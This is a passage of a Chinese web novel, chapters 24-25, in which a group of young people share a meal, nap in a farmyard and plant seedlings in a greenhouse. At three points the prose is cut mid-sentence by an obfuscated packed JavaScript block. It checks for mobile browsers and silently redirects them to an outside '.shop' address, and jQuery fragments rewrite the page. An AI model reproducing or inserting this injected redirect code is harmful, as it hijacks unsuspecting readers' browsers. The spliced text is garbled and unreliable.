宋鹤眠坐在田埂边的树荫下,手已经洗干净了,正拿着瓶水小口小口地喝。她没看谁,只是望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310832|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着远处淡青色的山。 移栽的果苗已全部种下,日头渐渐升高,山间的雾气早已散尽,阳光温温地洒在新翻的泥土上,映出一排排整齐的苗影。 几个人从坡上下来,脚步都有些沉。 李乘歌把卷尺收进背篓,沈摘星抱着空水壶跟在后头,夏叙言边走边捶肩膀,傅砚修和宋鹤眠缓慢地从后面下来。 傅拭雪走在最前头,到了院门口,他没停,直接拐进厨房边的小棚子里。 那儿有个简易的水龙头,他拧开,弯腰捧了几把水冲了冲脸,又搓了搓手上的泥。水珠顺着手腕往下淌,他甩了甩,直起身,往厨房走去。 李乘歌刚好把背篓放下,抬头看见他背影消失在厨房门后。 “不歇会儿?”她跟进去,拉住他的手腕。 傅拭雪摇头,“大家忙碌了一上午,肯定饿了,我给大家做一点杂粮饭。” 李乘歌的目光往窗外探去,夏叙言已经瘫在石凳上了,傅砚修靠着墙根坐着,眯着眼晒太阳。宋鹤眠站在玉兰树下,手里还攥着没喝完的半瓶水,沈摘星直接趴在石桌上放空。 “我们一起。”李乘歌给自己围上围裙。 灶房里传来切菜的声音,笃笃笃,不紧不慢。 过了半个小时,窗户被人从里面推开。 傅拭雪探出头来,“吃饭啦——” 声音不大,但院子里每个人都听见了。 夏叙言第一个弹起来。 “来了来了!”他冲其他人挥手,“大家先洗手。” 水龙头在院子西侧,四个人排排站好等着洗手,等最后一个洗完手迈进厨房,里面已经热闹起来了。 夏叙言趴在灶台边,“这什么这什么?怎么这么香?” 傅拭雪正拿着锅铲将杂粮饭打散,被他挤得往旁边让了让,“排骨杂粮饭。” “洗手了吗?” “洗了洗了!”夏叙言把手伸出来晃了晃,还带着水珠,“你看,湿的!” 傅拭雪偏过头,目光从夏叙言身上移到沈摘星那儿。 小姑娘正踮着脚往锅里看,眼睛亮晶晶的,脖子伸得老长,“真的好香呀!” “碗在那边,大家都自己盛哦。”他眼里带了点笑意,顿了顿,又补了一句,“吃多少打多少,不要浪费食物哦。” 沈摘星立刻转身去拿碗。 灶台边摞着一叠碗,她数了数,六个,拿完碗又去找筷子。 李乘歌正把蒸好的鸡蛋羹从另一口锅里端出来,热气扑了她一脸,她将鸡蛋羹放在桌子上然后来到灶边。 锅里的杂米饭糙米混着小米,还有几块黄澄澄的红薯,冒着热气。 几个人很自然地排成一溜,等着盛饭。 沈摘星端着碗站在最前面,夏叙言在她后头,宋鹤眠排在第三位,傅砚修站在她后面。 李乘歌最后一个拿碗,走到灶边时,傅砚修已经盛完了。 她往自己碗里盛了半碗,然后看了一眼灶台边还在忙活的傅拭雪,他正把最后一碗汤从锅里端出来,腾不出手。 她走过去,从他手边拿起他的碗。 傅拭雪侧头看了她一眼。 李乘歌没说话,盛了满满一碗,压实,又夹了两块排骨搁在上面。 她将饭放在桌上,这时傅拭雪端着最后一碗汤过来,在空位上坐下,扫了一眼桌上,“齐了,吃吧。” 傅拭雪又往沈摘星碗里放了几块排骨。 李乘歌拿起勺子,舀了碗蛋羹。面上那层最嫩的,她轻轻刮进勺子里,很自然地递到沈摘星碗边。 “趁热吃。” 沈摘星碗里又多了一勺蛋羹。 她看看碗里的排骨,又看看碗里的蛋羹,嘴张了张,不知道该先谢谁。 宋鹤眠拿起筷子,夹了块红薯。她没往自己碗里放,而是顺手放进了旁边沈摘星的碗里。 沈摘星低头看着自己那只已经冒尖的碗,排骨堆成小山,蛋羹卧在边上,最上面还顶着那块黄澄澄的红薯。热气往上冒,熏得她脸都热了。 她张了张嘴,又闭上,又张开,终于憋出一句,“各位哥哥姐姐……我碗真的装不下了……” 李乘歌摸了摸她的脑袋,“今天我们摘星也辛苦了,多吃一点。” 24. 种苗 饭后稍歇,阳光正好,暖洋洋地晒着院子。玉兰树的影子慢慢拉长,又慢慢缩短。 几只鸡在墙角刨食,刨几下,又停下来眯着眼晒太阳。 犯困慢慢地涌上心头。 沈摘星最先扛不住,脑袋一点一点的,手里的半个红薯还没吃完,人就靠在夏叙言肩膀上睡过去了。 夏叙言僵了一下,没敢动。 李乘歌端着茶杯看见了,笑着压低声音,“别动,让她睡会儿。” 夏叙言嗯了一声,脖子梗着,肩膀尽量放平,一动不动像块石头。太阳晒着小孩半边脸,晒得发烫,见小孩皱眉,他抬手遮着太阳。 傅砚修坐在门槛上,背靠着门框,眼皮也开始打架。他挣扎了两下,头一歪,靠着门框睡着了。 傅拭雪从屋里拿了条薄毯出来,看见他那样,脚步顿了顿。他没叫醒人,只是把毯子抖开,轻轻搭在傅砚修身上。 傅砚修没醒,眉头皱了皱,又舒展开了。 宋鹤眠坐在石凳上,手里还拿着本书,看两行,眼皮沉一下,看两行,又沉一下。最后书滑到膝盖上,她也没捡,就那么靠着椅背睡着了。 阳光从树叶缝隙里漏下来,在她脸上落了几块光斑。 李乘歌轻手轻脚地走过去,把书从她膝盖上拿起来,合上,放在石桌边。 她一回头,看见傅拭雪站在那儿看她。 两人对视一眼,都没说话。 院子里安静得能听见风声。鸡也不刨食了,缩在墙角打盹。树的影子慢慢移动,把睡着的人一个一个拢进阴凉里。 李乘歌在石凳上坐下,端起那杯已经凉了的茶,小口小口地喝。 傅拭雪在她旁边坐下,没喝茶,就那么坐着,看着院子里这一片睡意沉沉。 米饭从窝里跑出来了,四只小短腿倒腾得飞快。它先在鸡窝那边探头探脑了一会儿,被母鸡瞪了一眼,吓得往后缩了缩,然后一扭头,朝石凳这边跑过来。 李乘歌低头看见了,弯下腰伸手去够。 米饭凑到她指尖嗅了嗅,尾巴摇了摇,又扭头往傅拭雪那边跑。 傅拭雪也弯下腰,手掌摊开放在地上。米饭凑过去闻了闻,然后一屁股坐在他掌心里,不走了。 李乘歌忍不住笑出声,又赶紧捂住嘴,怕吵醒睡着的人。 傅拭雪低头看着掌心里那团毛茸茸的东西,没动。米饭在他手心窝着,眯着眼,尾巴还在一摇一摇的。 “它怎么老往你那儿跑。”李乘歌小声说,声音里带着点笑意。 傅拭雪抬眼看了她一下,没接话,只是嘴角动了动。 小狗在他手心翻了个身,露出软乎乎的肚皮。 李乘歌伸出手指,轻轻戳了戳那个小肚子。小狗四肢蹬了蹬,眼睛都没睁。 她戳一下,它蹬一下。 她又戳一下,它又蹬一下。 傅拭雪在旁边看着,忽然开口,声音压得很低,“你这样它会醒的。” “不会。”李乘歌又戳了一下,“你看它多享受。” 话音刚落,小狗睁开眼睛,迷迷糊糊地看了看她,然后从傅拭雪掌心爬起来,摇摇晃晃走到她手边,一歪头,枕在她手指上又睡过去了。 李乘歌手僵在半空,不敢动了。 傅拭雪看着她那个小心翼翼的样子,眼里有了点笑意。 “它倒是会挑地方。”他说。 李乘歌没说话,低头看着枕在自己手指上的那团小东西,嘴角弯了弯。 阳光落在她侧脸上,把那一点笑意照得很软。 傅拭雪看着那点笑意,一时间没移开眼。 她低着头,睫毛垂下来,在眼睑上落了一小片阴影。嘴角那点弧度很浅,像是被阳光晒化了一点,软软的,松松的。 阳光从她耳边擦过去,把那一小块皮肤照得透透的,薄薄的,像蒙了一层淡粉的雾。 傅拭雪忽然觉得,这个画面他好像在哪本书里读到过。 那些翻过去就忘了的书页里,偶尔会有那么一两行,写一个人看另一个人,看得忘了时间。读的时候不懂,觉得矫情。 现在懂了。 原来书里写的都是真的。 原来阳光真的可以这样落在一个人脸上。 原来真的会有那么一刻,你什么都不想做,就想这么看着。 久到他自己都没意识到看了很久。 直到李乘歌抬起头,目光落在他脸上。 他没躲。 只是在她看过来的时候,嘴角上扬。 然后他收回目光,看向院子里的阳光。 什么都没说。 但好像什么都说了。 阳光继续慢慢地移,把院子切成一块一块的明暗。睡着的人呼吸均匀,醒着的人安静地感受着。 小院吹起了风,树叶沙沙响了几声,有几片打着旋儿落下来,轻轻落在皮卡的车斗里。 卫建国从车斗里搬下两厢打包好的笋放进临城的快递点里,箱子封得严严实实,胶带缠了好几道,上面手写着地址。 他把箱子搬上秤,快递员扫码、贴单、扔上传送带,按照下单地址寄出。 他转身往外走,风从身后吹过来,把他后背的汗衫吹得鼓起来一块。 他眯着眼看了看天,今儿天气真好。 将笋寄出后,他回到院子。 院子门被推开,二伯母看着院子睡着一地的少年。 沈摘星靠着夏叙言的肩膀,睡得正香,嘴角还挂着一小点口水印子。夏叙言脖子梗着,脑袋歪向另一边,也睡着了,手还保持着挡太阳的姿势。 傅砚修靠着门框,毯子滑下来一半,露出半边肩膀。他眉头微微皱着,不知道梦见了什么,但也没醒。 宋鹤眠靠在椅背上,书合着放在石桌上,阳光从树叶缝隙里漏下来,在她脸上落了几个光斑,忽明忽暗的。光斑移一下,她的睫毛就颤一下,但没睁眼。 李乘歌坐在石凳上,身子微微侧着,手指上枕着那团毛茸茸的米饭。 米饭肚皮一起一伏,睡得比谁都香,四只小短腿偶尔蹬一下,尾巴尖轻轻晃。 傅拭雪坐在她旁边,头微微低着,眼睛闭着,呼吸很轻很匀。 二伯母站在门口,看了好一会儿。 风从院子里穿过去,玉兰树的叶子沙沙响了几声。米饭的耳朵动了动,没醒。 她轻轻把篮子放下,轻手轻脚地走进来。 然后她转身,从屋里拿了条薄毯出来,抖开,轻轻盖在宋鹤眠腿上。 又拿了一条,盖在夏叙言和沈摘星身上。 走到李乘歌和傅拭雪旁边,她看了看,没毯子了。 她站着想了想,转身回屋,翻出一条旧床单,抖了抖灰,轻轻搭在两人身上。 李乘歌动了一下,没醒。 二伯母站在院子中央,环顾一圈,终于满意了。 她轻手轻脚地走回门口,拎起篮子,往灶房走去。 走到灶房门口,她回头又看了一眼。 米饭翻了个身,在李乘歌手指上换了个姿势,继续睡。 二伯母笑了笑,掀开门帘,进了灶房。 傅拭雪醒了,阳光正移到他脸上,有点刺眼。他抬手挡了挡,睁开眼,看见二伯母站在灶房门口,手里还拎着那个菜篮子。 他声音有点哑,刚睡醒的那种,“二伯母。” 二伯母嗐了一声,摆摆手,“别动别动,接着睡。” 傅拭雪没接着睡,他坐直了,扭头看了一眼旁边大家还睡着。 他看了两秒,收回目光。 “几点了?”他低声问。 “还早,才十二点多。”二伯母把篮子放下,走过来,压低声音,“你们睡你们的,我去把苗种了。” 傅拭雪站起来,活动了一下脖子,“二伯母,我们一起吧。” “不用不用——” 话没说完,院子里响起一声含糊的嘟囔。 夏叙言动了动,脖子梗得太久,一转头就龇牙咧嘴,“哎哟……我脖子……” 他这一动,靠在他肩上的沈摘星也跟着醒了。 小姑娘迷迷糊糊地睁开眼,嘴角还挂着那点口水印子,愣愣地看了看四周,然后下意识抬手擦了擦嘴。 夏叙言扭头看她,笑了,“睡得舒服吗?” 沈摘星脸腾地红了。 旁边,傅砚修也醒了。毯子滑到地上,他弯腰去捡,捡起来抖了抖,搭在椅背上。 抬头的时候,正好对上宋鹤眠的目光,她也醒了。 两人对视一眼,都没说话。 石凳那边,米饭动了动,从李乘歌手指上翻下来,四脚朝天继续睡。 李乘歌被它拱醒了。 她睁开眼,先是低头看了看手边那团毛茸茸的东西,然后抬起头,目光刚好落在站在面前的傅拭雪身上。 傅拭雪也正看着她。 两人对视了一秒。 李乘歌没说话,只是把散下来的碎发往耳后别了别。耳根有一点红,被阳光照着,看不太出来。 傅拭雪收回目光,看向二伯母。 二伯母站在灶房门口,手里还拎着那个菜篮子,看着院子里一个一个醒过来的年轻人,愣了愣,然后笑了。 “得。”她说,“都醒了。” 傅拭雪收回目光,往工具房走去。 “那我们一起去吧。”他推开工具房的门,从里面拿出几把锄头和几副手套,抱在怀里走出来。 一行人来到大棚,傅拭雪和李乘歌两人走到大棚的两边,将两侧的塑料膜掀了上去。 两边塑料膜卷上去,大棚里顿时通气起来。阳光透过棚顶洒下来,泥土的气息混着潮湿的青草味,扑面而来。 回到大棚内,傅拭雪把扛进来的锄头和手套放在地上,开始分配。 夏叙言第一个凑上来,接过锄头就往里走,沈摘星跟在他后面。 傅砚修走过来,没说话,伸手。 傅拭雪递给他一把锄头和一副手套。 宋鹤眠也走了过来,傅拭雪将东西递过去。 “会用吗?”他问。 两人接过锄头,掂了掂,没说话,只是把目光投向李乘歌。 李乘歌听见动静,抬起头,对上两束目光。 两人就那么看着她,等着。 李乘歌愣了一下,然后笑了,她把手套往手上一套,一边套一边往里走,“待会儿我教你们。过来吧。” 傅砚修跟上去。 宋鹤眠也跟上去。 傅拭雪站在原地,看着那三个人的背影。 李乘歌走在最前面,傅砚修和宋鹤眠一左一右跟在后头。 李乘歌蹲在一垄地前,手里拿着一把嫩绿的番茄苗。苗不大,根上还带着育苗块里的土,松松的一团。 “看好了。”她侧过身,让傅砚修和宋鹤眠能看清,“先松土,刨坑,然后种苗,一气呵成。” 她把手里的锄头举起来,手腕一抖,锄头落下去,切入土里,轻轻往后一带。土块应声翻开,露出底下更湿润的土层。 “坑不用太深,能把根埋住就行。”她放下锄头,蹲下去,用手在松软的土里挖了一下,扒开一个小坑。 她拿起一棵苗,放进去,一只手扶着,另一只手把旁边的土拢过来,轻轻压实。最后那棵苗端端正正地立在垄沟里,叶子嫩绿嫩绿的。 动作干净利落,一气呵成。 “不能压太紧,根要透气。”她示范完,拍了拍手上的土,站起来往旁边让了让,把位置空出来,“先刨坑,再种苗,一步步来。” 傅砚修从怀里拿出尺子,蹲下去,在李乘歌刚刨出来的坑量了量。 他记得每株的间距要十五厘米,他精准地把控着距离。 李乘歌在旁边看着,一时不知道该说什么。她就那么站着,看着他拿尺子对着一个土坑反复测量。 她忽然觉得有点好笑,又觉得这人挺有意思。 于是她从口袋里掏出手机,点开相机,对准了他。 傅砚修浑然不觉,量完坑。 走上前,举起锄头,用力往下一刨—— 锄头切入土里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310833|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但角度有点偏,刨出来的坑歪歪的,一边深一边浅。 他愣了一下,蹲下去用手扒了扒,想把坑修圆一点。扒了两下,觉得不对劲,又掏出尺子量了量。 他盯着尺子上的数字,沉默了两秒。 李乘歌举着手机,镜头里是傅砚修那张写满这不可能的脸。她咬着嘴唇,努力不让自己笑出声。 傅砚修深吸一口气,把尺子收起来,开始用手扒坑。 扒一下,看一眼,扒一下,看一眼,动作十分认真。 李乘歌终于没忍住,手机抖了一下。 傅砚修抬头,看见她举着手机,愣了一下,“你在拍什么?” “记录新农人成长史。”李乘歌一本正经,“继续挖吧,孩子。” 傅砚修低头看了看自己手上全是泥,又看了看那个被他扒得坑坑洼洼的坑,沉默了两秒。 李乘歌在旁边看着,没说话,只是嘴角带着一点笑。 傅砚修扒了几下,觉得差不多了,拿起一棵苗放进去。苗放进去的时候歪了,他又伸手扶正,开始填土。填着填着,他发现土填多了,又把多余的土拨开一些。 最后压实的时候,他小心地按了按,那棵苗终于稳稳地站在坑里,虽然有点往一边倒,但好歹是种上了。 他盯着那棵苗看了两秒,像是确认它不会倒,然后轻轻呼出一口气。 李乘歌点点头,收起手机,“挺好的。第一次能种成这样,已经很好了。” 傅砚修没说话,只是又拿起一棵苗,开始刨第二个坑。这次他刨得比刚才稳一点,虽然还是有点歪,但比第一下好多了。 宋鹤眠站在另一边,一直没动。她看着傅砚修种完第一棵,又看着他开始种第二棵,然后才低下头,看了看自己手里的锄头。 她蹲下去,没有急着用锄头,而是先用手摸了摸土。土有点干,表面有一层细细的裂纹。 她用手扒了扒,扒开一个小坑,不大,也不深。 然后她拿起一棵苗,放进去,扶正,把旁边的土拢过来,轻轻压实。 那棵苗站得挺直。 她看了看,又用手把根部旁边的土往里拢了拢,觉得差不多了,才站起来。 李乘歌走过来看了一眼,笑了,“这样也行。不用锄头,用手也能种。” 宋鹤眠嘴角动了动,没说话,但眼睛里有一点很淡的笑意。她蹲下去,继续用手扒第二个坑。 傅砚修在旁边刨着坑,听见动静,扭头看了一眼。 看见宋鹤眠用手扒土,他愣了一下,然后低头看了看自己手里的锄头,又看了看自己刚刨出来的那个歪坑。 他想了想,把锄头放到一边,也蹲下去,学着她的样子用手扒土。 土有点硬,手指插进去有点费劲。 他皱着眉,用力扒了两下,扒开一个小坑,坑沿被他扒得坑坑洼洼的。 他拿起一棵苗放进去,扶正,填土,压实。 那棵苗虽然歪了点,但比用锄头刨坑种的那两棵顺眼多了。 他沉默了两秒,拿起一棵苗,塞进去。 “没事。”她说,“慢慢来。” 她走回自己那垄地,举起锄头,也开始刨。 七个人,两个棚,一人一垄,各干各的,谁也不急。 夏叙言蹲在自己那垄地旁边,举着手机,想拍个大家一起干活的温馨画面,回去剪个视频发朋友圈。 镜头扫过去—— 傅拭雪走过来,他手里拿着一本《农业知识大全》。 夏叙言眼睛一亮,镜头对准他。 李乘歌刚好直起腰,看见傅拭雪手里的书,随口问了一句,“播种前浸种是为了什么?” “A.给种子补水B.消毒杀菌C.让它先熟悉一下土壤环境。” 她顿了顿,嘴角带着点笑,像是随口考考他。 傅拭雪停下脚步,认真思考了两秒。 然后他开口,“D。” 李乘歌愣了一下,“D?哪来的D?” 傅拭雪正色道,“建立初步联系,减少应激反应。” 空气安静了一秒。 李乘歌看着他,眨了眨眼。 傅拭雪表情一本正经,完全不像是开玩笑。 旁边垄沟里,宋鹤眠手里的动作停了停,抬起头,看了傅拭雪一眼。 然后她低下头,继续种苗,但嘴角动了动。 夏叙言举着手机,镜头抖了两下,差点把手机笑掉。 他赶紧稳住,继续拍。 李乘歌终于反应过来,笑了,“你这是从哪本书上看的?” 傅拭雪把手里的书翻开,指给她看,“第37页,浸种的作用。我总结了一下。” 李乘歌凑过去看了一眼,然后笑出了声。 “总结得挺好。”她说,“下次别总结了。” 傅拭雪点点头,夏叙言把镜头拉近,对准那个本子。 上面写着,浸种——A补水B消毒C熟悉环境D建立初步联系,减少应激反应。 然后这个D是被水笔写上去的,是一个自拟的答案。 傅拭雪走到傅砚修身旁。 经过这几天的相处,宋鹤眠心中也生出几分熟稔。 宋鹤眠走到李乘歌身旁,看着那边蹲成一排的两兄弟,笑道,“把他们两个放在一块,不怕两人勾心斗角?” 李乘歌顺着她的目光看过去,傅拭雪正在帮傅砚修调整那排歪歪扭扭的苗,傅砚修还在栽新的苗,两个人凑在一起,画面莫名和谐。 她正要接话,那边傅砚修忽然停顿了手里的动作,回过头来,眼睛亮亮的,像是捕捉到了什么关键词。 “什么?”他问,声音里带着期待,“今晚吃豆角?” 宋鹤眠:“……” 她显然没料到自己的话会被这样理解,愣了一下,嘴角动了动,不知道该说什么。 李乘歌在旁边笑出了声。 “好。”傅拭雪点头,“晚上就做豆角焖面。” 李乘歌:“……” 好一个“勾心斗角”。 25. 弄乱 李乘歌和宋鹤眠对视一眼,两人皆无奈地摇头。 “我没意见。”李乘歌表示打不过就加入。 宋鹤眠点头,“我都可以。” 就这样,晚上吃啥被定下来了。 简单地聊了几句,大家又去各忙各的。 锄头声、扒土声、偶尔的说话声,重新在大棚里响起来。 李乘歌把手里的工具放下,拍了拍手上的泥,往傅拭雪那边走去。 他正蹲在一垄地前,手里拿着那本《农业知识大全》,翻到某一页,低头研究着什么。 李乘歌走到他身后,站定。 他没察觉,还在看书。 阳光从棚顶洒下来,落在他背上,把那件灰色的棉质T恤晒得暖洋洋的。他微微低着头,后颈露出一小截,头发有点长了,发尾蹭着衣领。 李乘歌就那么站着,没出声。 她看着他的背影,看着他翻书的手指,看着他偶尔皱一下眉又松开。 忽然觉得这一幕挺安静的。 傅拭雪翻了一页,终于感觉到身后有人。 他回过头,看见李乘歌站在那儿,愣了一下。 “站多久了?” “刚来。”李乘歌往前迈了一步,在他旁边蹲下,凑过去看他手里的书,“还在研究?” 傅拭雪低头看了看,又抬头看她。 两人蹲在那儿,脑袋凑在一起,对着同一本书。 风从大棚掀开的缝隙吹进来,凉凉的。 李乘歌看完书,没急着走,就蹲在那儿看他。 傅拭雪感觉到她的目光,侧头看她,“怎么了?” “没怎么。”李乘歌伸手,把他头发上沾的一小片干草叶拿下来,递到他眼前,“这个。” 傅拭雪看了一眼那片叶子,又看她。 她把叶子随手一弹,弹到他衣服上。 傅拭雪低头看着那片落在自己胸口的叶子,沉默了一秒,然后捡起来,又弹回她身上。 李乘歌愣了一下,然后笑了。 “你干嘛?” “还给你。” 两个人就蹲在那儿,你弹一下我弹一下,最后那片叶子不知道飞哪儿去了。 李乘歌笑出声,往后躲了躲,手撑在地上,沾了一手泥。 她低头看了看自己的手,又看了看傅拭雪,把手举到他面前。 “都怪你。” 傅拭雪看了一眼她那沾满泥的手掌,没说话,只是从口袋里掏出张纸巾,递给她。 李乘歌接过来,擦了擦,发现他只给了一张。 “就一张?” “嗯。” “你自己呢?” 傅拭雪把自己干干净净的手伸出来,在她眼前晃了晃。 李乘歌看着他那双手,又看看自己那团脏兮兮的纸巾,忽然觉得自己被他套路了。 她把那张脏纸巾往他手上一塞。 “给你。” 傅拭雪低头看着手里的脏纸巾,没说话,只是站起来,走到旁边的垃圾桶扔了。 回来的时候,手里多了几张干净的纸巾。 他蹲回原位,把纸巾递给她。 李乘歌接过来,看着他。 他也不说话,就是低头继续翻书。 阳光照在他侧脸上,轮廓柔和得不像话。 李乘歌忽然觉得,这人其实挺可爱的。 她没忍住,伸手把他头发又弄乱了。 傅拭雪抬起头看她,眼神里写着你干嘛。 李乘歌笑得眼睛弯弯的,“帮你整理发型。” 傅拭雪看着她那副理直气壮的样子,沉默了两秒,然后低下头,继续看书。 只是嘴角弯了弯。 李乘歌听着那边的动静,又看了看身边这个低头看书的人。 她站起来,拍拍手上的土。 “我去那边看看。” 傅拭雪嗯了一声,没抬头。 李乘歌走了两步,忽然回头。 “对了。” 傅拭雪抬起头。 她笑着指了指自己的头发,又指了指他。 傅拭雪愣了一下,然后伸手摸了摸自己的头发,乱得跟鸡窝似的。 李乘歌已经笑着跑远了。 傅拭雪看着她的背影,低头又看了看手里那本半天没翻一页的书。 他把书合上,站起来。 走到她那垄地旁边,弯腰,把她刚才忘拿的水壶拎起来,放回她工具篮里。 李乘歌走了两步,忽然回头。 傅拭雪还蹲在那儿,头发被她揉得乱糟糟的,几缕头发翘着,他自己完全没察觉,还在低头看书。 她看笑了。 这人,也太好欺负了。 她悄悄折回去,蹲在他身后,伸出手又揉了一把。 傅拭雪这次有准备了,在她手刚碰到头发的时候,一偏头躲开,顺势抓住她的手腕。 李乘歌愣了一下。 他的手有点凉,手指很长,握在她手腕上,刚好圈住。 “还来?”他问。 李乘歌眨眨眼,没回答,另一只手突然伸过去,在他头上又揉了一下。 傅拭雪没防住这招。 他头发更乱了。 李乘歌笑得不行,手腕还在他手里,整个人笑得往后仰。 傅拭雪看着她那副得意洋洋的样子,沉默了一秒,然后手上轻轻一拽。 李乘歌没站稳,往前一栽,手撑在他肩膀上才稳住。 两人离得很近。 近到能看清他眼睛里自己的倒影。 李乘歌的笑僵在脸上。 傅拭雪也没动。 阳光从棚顶洒下来,落在两人之间,有细小的灰尘在光柱里飘。 几秒后,李乘歌先移开目光,低头看他握着自己手腕的那只手。 “松手。”她说,声音比平时小了一点。 傅拭雪没松。 他看着她,忽然伸手,把沾在她脸颊上的一小片泥点擦掉。 动作很轻,就一下。 李乘歌愣住了。 等她反应过来,傅拭雪已经松开手,低头继续翻书,好像刚才什么都没发生。 只是耳朵有点红。 李乘歌低头看了看自己手腕,又看了看他那张若无其事的脸。 她蹲在那儿,半天没动。 远处传来夏叙言的大嗓门,“傅拭雪!你那个水管又喷水了!喷我一身!” 傅拭雪回头,“那是自动灌溉系统在调试——” “调什么试!你先把它关掉!” 沈摘星在旁边笑得直不起腰。 李乘歌被那边的声音拉回神,站起来,低头看着还蹲在地上的傅拭雪。 他没抬头,但翻书的手指顿了一下。 李乘歌忽然伸手,把他手里那本书抽走了。 傅拭雪抬头看她。 她把书往身后一藏,笑得眼睛弯弯的,“专心干活,别看了。” 傅拭雪看着她,沉默了一秒,然后站起来。 他往前走了一步。 李乘歌往后退了一步。 他又走一步。 她又退一步。 退到垄沟边,没路了。 李乘歌站住,看着他。 傅拭雪伸出手—— 从她身后把那本书拿了回去。 然后转身,走回自己的垄沟,蹲下,继续看。 李乘歌站在原地,看着他那副淡定的样子,忽然觉得自己被他耍了。 “傅拭雪!” 他没回头,只是嘴角弯了弯。 阳光正好,大棚里锄头声、说话声、笑声混在一起。 李乘歌站在那儿,看着那个蹲在地里看书的人,忽然笑了。 她走回去,在他旁边蹲下。 “借我看一眼。” 傅拭雪把书往她那边偏了偏。 两个人又凑在一起,脑袋挨着脑袋。 风从大棚掀开的缝隙吹进来,凉凉的,带着外面草地的味道。 大棚里,每个人都在各忙各的,锄头偶尔落地的闷响,手指扒土的沙沙声,混在一起,成了这个午后最安静的背景音。 傅砚修蹲在地上,专心致志地用手扒坑。扒着扒着,他忽然觉得手指碰到了一个软软的东西,还有点凉。低头一看,是一条蚯蚓,肥得都快赶上他的小拇指粗了,正在他指尖扭来扭去,扭得那叫一个欢快。 他整个人像被点了穴,一动不动。 脸上的表情从疑惑到震惊再到惊恐,变了好几轮,最后定格在一个‘我是谁我在哪儿这是什么东西’的茫然状态。 李乘歌正好抬头,看见他那副样子,愣了一下,顺着他的目光看过去。 那条蚯蚓还在扭,扭出了波浪线。 她没忍住,“噗”地笑出声。 傅砚修僵硬地转过头,看着她,眼神里写满了求救信号。 李乘歌笑得肩膀直抖,但还是很贴心地递过去一片叶子,“夹起来,放旁边就行。” 傅砚修接过叶子,深吸一口气,像要完成什么重大仪式一样,小心翼翼地凑过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310834|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶子刚碰到蚯蚓,那条蚯蚓像是被挠了痒痒,猛地一缩,然后嗖地一下,从他指缝里钻了过去,掉在他鞋面上。 傅砚修低头看着鞋面上那条还在扭的蚯蚓,整个人再次僵住。 这时傅拭雪的目光也跟了过来。 傅砚修深吸一口气,蹲下来,准备用叶子把它弄走。结果刚伸手,那条蚯蚓又开始扭,扭着扭着,顺着他鞋面的弧度,一路往下滑,掉进了他鞋里。 空气突然安静了。 宋鹤眠手里的动作也停了,抬头看过来,思考了一会儿,她还是拿出手机打开相机。 毕竟,傅砚修如此鲜活的模样不多见呢。 傅砚修低头看着自己的鞋,脸上是一种无法用语言形容的表情。惊恐、茫然、难以置信,还带着一点“是它在碰瓷”的荒诞感。 然后他感觉到脚趾那里有什么东西在动。 软软的,凉凉的,还在扭。 他整个人像被电击了一样,开始疯狂跺脚。 一只脚跺完跺另一只,跺完另一只又跺第一只,整个人在原地蹦跶,像在跳什么奇怪的舞蹈。一边跺一边喊,“出来!出来!快出来!” 那条蚯蚓可能也被晃晕了,扭着扭着,终于从他鞋口探出半个身子。 傅砚修低头一看,正好看见那半个身子在空中扭来扭去。 他吓得往后一跳,结果脚下一滑,一屁股坐进了旁边刚松好的土堆里。 土堆是宋鹤眠刚刨出来的,特别松软,他一屁股坐下去,整个人陷进去半个,两只手撑在土里,一脸生无可恋。 那条蚯蚓还挂在他鞋口上,扭得正欢。 宋鹤眠已经笑得蹲在地上了,手机举着,手抖得跟筛糠似的,拍出来的画面全是糊的。 傅拭雪看着眼前这一幕,嘴角抽了抽,然后默默从旁边拿起一片大叶子,走过去,弯下腰,用叶子轻轻把那条蚯蚓从傅砚修鞋口上挑下来。 蚯蚓落进土里,扭了两下,钻进去了。 傅砚修还坐在土堆里,仰着头,看着大棚顶上的塑料膜,眼神空洞,像是在思考人生。 傅拭雪伸手,“可以起来了。” 傅砚修没动。 他又坐了两秒,才慢慢从土堆里爬起来,裤子后面全是土,衣服上也沾了泥,脸上还蹭了一块。 他低头看了看自己,又看了看宋鹤眠手里那个还在拍的手机。 “删掉。”他说。 宋鹤眠一边笑一边往后退,“不删不删,这个太珍贵了。” “宋鹤眠!” “你看你刚才那个样子!”宋鹤眠把手机屏幕转向他,虽然画面是糊的,但还是能看见一个人在原地疯狂跺脚,然后一屁股坐进土里,“真的很可爱呢!” 傅砚修看着屏幕上那个狼狈的身影,沉默了。 傅拭雪在旁边,忽然淡淡开口,“蚯蚓已经放生了。” 傅砚修抬头看他哥,眼神复杂。 